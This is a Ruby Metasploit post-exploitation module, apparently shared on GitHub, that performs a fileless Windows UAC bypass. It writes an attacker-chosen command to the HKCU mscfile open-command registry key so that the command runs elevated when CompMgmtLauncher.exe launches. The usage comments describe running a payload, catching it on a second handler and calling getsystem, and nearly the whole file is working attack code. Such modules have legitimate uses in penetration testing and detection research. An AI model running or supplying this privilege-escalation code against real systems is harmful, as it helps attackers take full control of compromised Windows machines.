##
# Install 
##
#save file into /opt/metasploit-framework/modules/post/escalate/CompMgmtLauncher_fileless_uac_bypass.rb
#msf > reload_all
#msf > use post/windows/escalate/CompMgmtLauncher_fileless_uac_bypass

##
#Usage
##
#msf (module_name) > show options
#msf (module_name) > set SESSION <id>
#msf (module_name) > set EXEC_COMMAND start payload.exe
# ~~ execute CompMgmtLauncher on target system
# ~~ SET another msf handler on which that payload listens to
# do getprivs and getsystem on fresh handler 

##
# Note 
##
#Remember to clean up so everything works “as normal” after you’ve run your code:
#    reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f

# -----------------------------------
# Module Dependencies
# -----------------------------------
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
 
 
 
# -------------------------------------
# Metasploit Class name and libs
# -------------------------------------
class MetasploitModule < Msf::Post
      Rank = AverageRanking
 
         include Msf::Post::Common
         include Msf::Post::Windows::Priv
         include Msf::Post::Windows::Registry


 
 
# -----------------------------------------
# Building Metasploit/Armitage info GUI/CLI
# -----------------------------------------
        def initialize(info={})
                super(update_info(info,
                        'Name'          => 'FILELESS UAC BYPASS USING COMPMGMTLAUNCHER.EXE',
                        'Description'   => %q{

                                        This registry key can be used to redirect the execution of any application to a different executable. The specified “debugger” application will be called with a path to the original program as the first argument.

                        },
                        'License'       => UNKNOWN_LICENSE,
                        'Author'        =>
                                [
                                        'Chaitanya Haritash', #Module Author 
					'Discovered by Enigma', #Discoverer
                                ],
 
                        #'Version'        => '$Revision: 1.0',
                        #'DisclosureDate' => 'mar 8 2017',
                        'Platform'       => 'windows',
                        'Arch'           => 'x86_x64',
                        'Privileged'     => 'false', # we need a priviliged session to hijack keys :(
                        'Targets'        =>
                                [
                                         # Tested againts Windows 10 | windows 7 (SP1) | windows XP (SP3)
                                         [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 10' ]
                                ],
                        'DefaultTarget'  => '1', # default its to run againts Windows 10
                        'References'     =>
                                [
                                         ['https://github.com/ChaitanyaHaritash/My-Exploits/tree/master/COMPMGMTLAUNCHER_UAC_BYPASS'],
                                ],
        'DefaultOptions' =>
          {
                    'SESSION' => '1',              # Default its to run againts session 1
                    'EXEC_COMMAND' => 'start C:\\windows\\system32\\notepad.exe',
          },
                        'SessionTypes'   => [ 'meterpreter' ]
 
                ))
 
                register_options(
                        [
                                OptString.new('SESSION', [ true, 'The session number to run this module on']),
                                OptString.new('EXEC_COMMAND', [ false, 'The cmd command to be executed (eg start notepad.exe)']),

                        ], self.class)
 
        end

# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)
# ------------------------------------------------
def run
  exec_comm = datastore['EXEC_COMMAND']
  session = client


      # Variable declarations (msf API calls)
      oscheck = client.fs.file.expand_path("%OS%")
      sysnfo = session.sys.config.sysinfo
      runtor = client.sys.config.getuid
      runsession = client.session_host
      directory = client.fs.dir.pwd

    # Print banner and scan results on screen
    print_line("    +----------------------------------------------+")
    print_line("    |      CompMgmtLauncher FileLess UAC BYPASS    |")
    print_line("    |          Author: Chaitanya Haritash          |")
    print_line("    +----------------------------------------------+")
    print_line("")
    print_line("    Running on session  : #{datastore['SESSION']}")
    print_line("    Computer            : #{sysnfo['Computer']}")
    print_line("    Operative System    : #{sysnfo['OS']}")
    print_line("    Target IP addr      : #{runsession}")
    print_line("    Payload directory   : #{directory}")
    print_line("    Client UID          : #{runtor}")


    #
    # the 'def check()' funtion that rapid7 requires to accept new modules.
    # Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE
    #
    # check for proper operative system (windows-not-wine)
    if not oscheck == "Windows_NT"
      print_error("[ ABORT ]: This module only works againts windows systems")
      return nil
    end
    # check for proper session (meterpreter)
    # the non-return of sysinfo command reveals
    # that we are not on a meterpreter session!
    if not sysinfo.nil?
      print_status("Running module against: #{sysnfo['Computer']}")
    else
      print_error("[ ABORT ]: This module only works against meterpreter sessions!")
      return nil
    end
    # elevate session privileges befor runing options
    client.sys.config.getprivs.each do |priv|
    end
    reg_key = "reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /t REG_SZ /d \"#{exec_comm}\" /f"
    print_status("Placing Registery Key ...")
    #session.sys.process.execute("cmd.exe /c #{reg_key}", nil, {'Hidden' => true, 'Channelized' => true})
    r = session.sys.process.execute("cmd.exe /c #{reg_key}", nil, {'Hidden' => true, 'Channelized' => true})
    Rex::sleep(2.0)
    while(d = r.channel.read)
            print_line("\n #{d}")
    end
    r.channel.close
    r.close
    #s = session.sys.process.execute("cmd.exe /c CompMgmtLauncher", nil, {'Hidden' => true, 'Channelized' => true})
    #Rex::sleep(2.0)
    #while(v = s.channel.read)
    #        print_line("\n #{d}")
    #end
    #s.channel.close
    #s.close
   end
end
